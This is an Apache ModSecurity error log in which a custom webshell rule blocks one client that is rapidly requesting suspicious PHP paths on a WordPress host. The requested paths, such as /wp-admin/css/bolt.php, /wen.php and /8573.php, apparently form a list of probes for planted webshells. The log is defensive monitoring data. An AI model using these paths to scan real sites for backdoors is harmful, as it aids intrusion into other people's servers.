[Thu Mar 26 08:26:56.191744 2026] [:error] [pid 31670:tid 31683] [client 158.158.51.28:31425] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acR9UDXVthXxCnWjOTRYngAAAUs"]
[Thu Mar 26 08:26:56.792275 2026] [:error] [pid 19710:tid 19735] [client 158.158.51.28:31443] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acR9UAVEWP8Ar68Njk6xjQAAAA0"]
[Thu Mar 26 08:26:57.292156 2026] [:error] [pid 31780:tid 31830] [client 158.158.51.28:44825] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acR9UZJDwZsy5O4ZXEjADAAAAgk"]
[Thu Mar 26 08:26:57.809670 2026] [:error] [pid 31780:tid 31823] [client 158.158.51.28:44829] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "acR9UZJDwZsy5O4ZXEjAEQAAAgM"]
[Thu Mar 26 08:26:58.419205 2026] [:error] [pid 31780:tid 31841] [client 158.158.51.28:41837] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "acR9UpJDwZsy5O4ZXEjAGAAAAhQ"]
[Thu Mar 26 08:26:59.055973 2026] [:error] [pid 31780:tid 31829] [client 158.158.51.28:44811] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "acR9U5JDwZsy5O4ZXEjAHQAAAgg"]
[Thu Mar 26 08:26:59.561115 2026] [:error] [pid 60829:tid 60835] [client 158.158.51.28:31479] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "acR9U_TdjHKeZokybaQ8CgAAAQQ"]
[Thu Mar 26 08:27:00.091999 2026] [:error] [pid 31670:tid 31677] [client 158.158.51.28:31434] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acR9VDXVthXxCnWjOTRYpQAAAUU"]
[Thu Mar 26 08:27:00.592413 2026] [:error] [pid 31778:tid 31793] [client 158.158.51.28:31451] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acR9VA3kybI2o-xasmBSvQAAAcA"]
[Thu Mar 26 08:27:01.154354 2026] [:error] [pid 19710:tid 19741] [client 158.158.51.28:44848] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acR9VQVEWP8Ar68Njk6xkAAAABM"]
[Thu Mar 26 08:27:01.654180 2026] [:error] [pid 31780:tid 31835] [client 158.158.51.28:44835] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acR9VZJDwZsy5O4ZXEjAJQAAAg4"]
[Thu Mar 26 08:27:02.160135 2026] [:error] [pid 19710:tid 19730] [client 158.158.51.28:44815] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acR9VgVEWP8Ar68Njk6xkQAAAAg"]
[Thu Mar 26 08:27:02.649723 2026] [:error] [pid 31717:tid 31741] [client 158.158.51.28:44818] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acR9Vr-SCF7YDISDX499QQAAAZM"]
[Thu Mar 26 08:27:03.385463 2026] [:error] [pid 31670:tid 31675] [client 158.158.51.28:31433] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acR9VzXVthXxCnWjOTRYrQAAAUM"]
[Thu Mar 26 08:27:03.890205 2026] [:error] [pid 19711:tid 19765] [client 158.158.51.28:31477] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acR9V2j3l1y81GYfluRRIAAAAFA"]
[Thu Mar 26 08:27:04.442500 2026] [:error] [pid 31717:tid 31736] [client 158.158.51.28:44823] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acR9WL-SCF7YDISDX499RAAAAY4"]
[Thu Mar 26 08:27:05.266214 2026] [:error] [pid 31670:tid 31680] [client 158.158.51.28:41806] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acR9WTXVthXxCnWjOTRYsgAAAUg"]
[Thu Mar 26 08:27:05.800896 2026] [:error] [pid 31670:tid 31686] [client 158.158.51.28:41801] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acR9WTXVthXxCnWjOTRYtQAAAU4"]
[Thu Mar 26 08:27:06.407088 2026] [:error] [pid 31670:tid 31690] [client 158.158.51.28:41841] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acR9WjXVthXxCnWjOTRYuQAAAVI"]
[Thu Mar 26 08:27:06.975571 2026] [:error] [pid 31717:tid 31726] [client 158.158.51.28:44855] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acR9Wr-SCF7YDISDX499RgAAAYQ"]
[Thu Mar 26 08:27:07.499733 2026] [:error] [pid 60829:tid 60833] [client 158.158.51.28:31426] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acR9W_TdjHKeZokybaQ8FQAAAQI"]
[Thu Mar 26 08:27:08.021556 2026] [:error] [pid 31717:tid 31732] [client 158.158.51.28:44826] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acR9XL-SCF7YDISDX499RwAAAYo"]
[Thu Mar 26 08:27:08.504349 2026] [:error] [pid 60829:tid 60853] [client 158.158.51.28:31480] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acR9XPTdjHKeZokybaQ8FwAAARY"]
[Thu Mar 26 08:27:09.085225 2026] [:error] [pid 31717:tid 31738] [client 158.158.51.28:44832] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acR9Xb-SCF7YDISDX499SQAAAZA"]
[Thu Mar 26 08:27:09.619630 2026] [:error] [pid 19712:tid 19787] [client 158.158.51.28:44810] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acR9XdWhKhRNqm23vFPkfAAAAIs"]
[Thu Mar 26 08:27:10.101282 2026] [:error] [pid 19711:tid 19764] [client 158.158.51.28:44812] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acR9Xmj3l1y81GYfluRRJAAAAE8"]
[Thu Mar 26 08:27:10.651858 2026] [:error] [pid 31670:tid 31692] [client 158.158.51.28:31437] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acR9XjXVthXxCnWjOTRYxQAAAVQ"]
[Thu Mar 26 08:27:11.136123 2026] [:error] [pid 31670:tid 31682] [client 158.158.51.28:31427] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acR9XzXVthXxCnWjOTRYyAAAAUo"]
[Thu Mar 26 08:27:11.615652 2026] [:error] [pid 60829:tid 60845] [client 158.158.51.28:31482] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acR9X_TdjHKeZokybaQ8GQAAAQ4"]
[Thu Mar 26 08:27:12.096554 2026] [:error] [pid 19711:tid 19750] [client 158.158.51.28:44809] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acR9YGj3l1y81GYfluRRJQAAAEE"]
[Thu Mar 26 08:27:12.630715 2026] [:error] [pid 31717:tid 31739] [client 158.158.51.28:41831] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acR9YL-SCF7YDISDX499SwAAAZE"]
[Thu Mar 26 08:27:13.151326 2026] [:error] [pid 31780:tid 31825] [client 158.158.51.28:31485] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acR9YZJDwZsy5O4ZXEjAPQAAAgU"]
[Thu Mar 26 08:27:13.632887 2026] [:error] [pid 19712:tid 19796] [client 158.158.51.28:31468] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acR9YdWhKhRNqm23vFPkfwAAAJQ"]
[Thu Mar 26 08:27:14.153419 2026] [:error] [pid 31780:tid 31836] [client 158.158.51.28:44817] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acR9YpJDwZsy5O4ZXEjAPwAAAg8"]
[Thu Mar 26 08:27:14.759423 2026] [:error] [pid 31670:tid 31685] [client 158.158.51.28:44843] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acR9YjXVthXxCnWjOTRYzgAAAU0"]
[Thu Mar 26 08:27:15.257947 2026] [:error] [pid 31670:tid 31680] [client 158.158.51.28:31428] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acR9YzXVthXxCnWjOTRY0QAAAUg"]
[Thu Mar 26 08:27:15.736305 2026] [:error] [pid 31778:tid 31809] [client 158.158.51.28:41798] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acR9Yw3kybI2o-xasmBSxwAAAdA"]
[Thu Mar 26 08:27:16.226109 2026] [:error] [pid 31717:tid 31730] [client 158.158.51.28:31441] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acR9ZL-SCF7YDISDX499TQAAAYg"]
[Thu Mar 26 08:27:16.711429 2026] [:error] [pid 60829:tid 60834] [client 158.158.51.28:44803] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acR9ZPTdjHKeZokybaQ8GwAAAQM"]
[Thu Mar 26 08:27:17.247538 2026] [:error] [pid 31717:tid 31727] [client 158.158.51.28:41821] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acR9Zb-SCF7YDISDX499TgAAAYU"]
[Thu Mar 26 08:27:17.749439 2026] [:error] [pid 19710:tid 19741] [client 158.158.51.28:31469] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acR9ZQVEWP8Ar68Njk6xmwAAABM"]
[Thu Mar 26 08:27:18.340966 2026] [:error] [pid 31780:tid 31837] [client 158.158.51.28:44821] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acR9ZpJDwZsy5O4ZXEjARAAAAhA"]
[Thu Mar 26 08:27:18.903809 2026] [:error] [pid 31780:tid 31824] [client 158.158.51.28:44834] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acR9ZpJDwZsy5O4ZXEjARwAAAgQ"]
[Thu Mar 26 08:27:19.471368 2026] [:error] [pid 31780:tid 31821] [client 158.158.51.28:44806] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acR9Z5JDwZsy5O4ZXEjASwAAAgE"]
[Thu Mar 26 08:27:20.029620 2026] [:error] [pid 31780:tid 31839] [client 158.158.51.28:41811] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acR9aJJDwZsy5O4ZXEjATwAAAhI"]
[Thu Mar 26 08:27:20.610591 2026] [:error] [pid 31717:tid 31725] [client 158.158.51.28:31483] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acR9aL-SCF7YDISDX499UQAAAYM"]
[Thu Mar 26 08:27:21.154809 2026] [:error] [pid 19710:tid 19742] [client 158.158.51.28:31486] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acR9aQVEWP8Ar68Njk6xnAAAABQ"]
[Thu Mar 26 08:27:21.776027 2026] [:error] [pid 31670:tid 31685] [client 158.158.51.28:44816] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acR9aTXVthXxCnWjOTRY2QAAAU0"]
[Thu Mar 26 08:27:22.445453 2026] [:error] [pid 31778:tid 31798] [client 158.158.51.28:31460] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acR9ag3kybI2o-xasmBSywAAAcU"]
[Thu Mar 26 08:27:23.541788 2026] [:error] [pid 60829:tid 60833] [client 158.158.51.28:41832] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acR9a_TdjHKeZokybaQ8IwAAAQI"]
[Thu Mar 26 08:27:24.230787 2026] [:error] [pid 31778:tid 31800] [client 158.158.51.28:31424] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acR9bA3kybI2o-xasmBSzgAAAcc"]
[Thu Mar 26 08:27:24.790613 2026] [:error] [pid 31670:tid 31681] [client 158.158.51.28:44833] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "acR9bDXVthXxCnWjOTRY2wAAAUk"]
[Thu Mar 26 08:27:25.283051 2026] [:error] [pid 19818:tid 19843] [client 158.158.51.28:31475] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "acR9bczaSnm3d1BeM5WXwQAAANc"]
[Thu Mar 26 08:27:25.814139 2026] [:error] [pid 19711:tid 19753] [client 158.158.51.28:44854] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "acR9bWj3l1y81GYfluRRKQAAAEQ"]
[Thu Mar 26 08:27:26.300962 2026] [:error] [pid 19818:tid 19829] [client 158.158.51.28:31471] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "acR9bszaSnm3d1BeM5WXxQAAAMk"]
[Thu Mar 26 08:27:26.839038 2026] [:error] [pid 31778:tid 31794] [client 158.158.51.28:44851] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acR9bg3kybI2o-xasmBS0gAAAcE"]
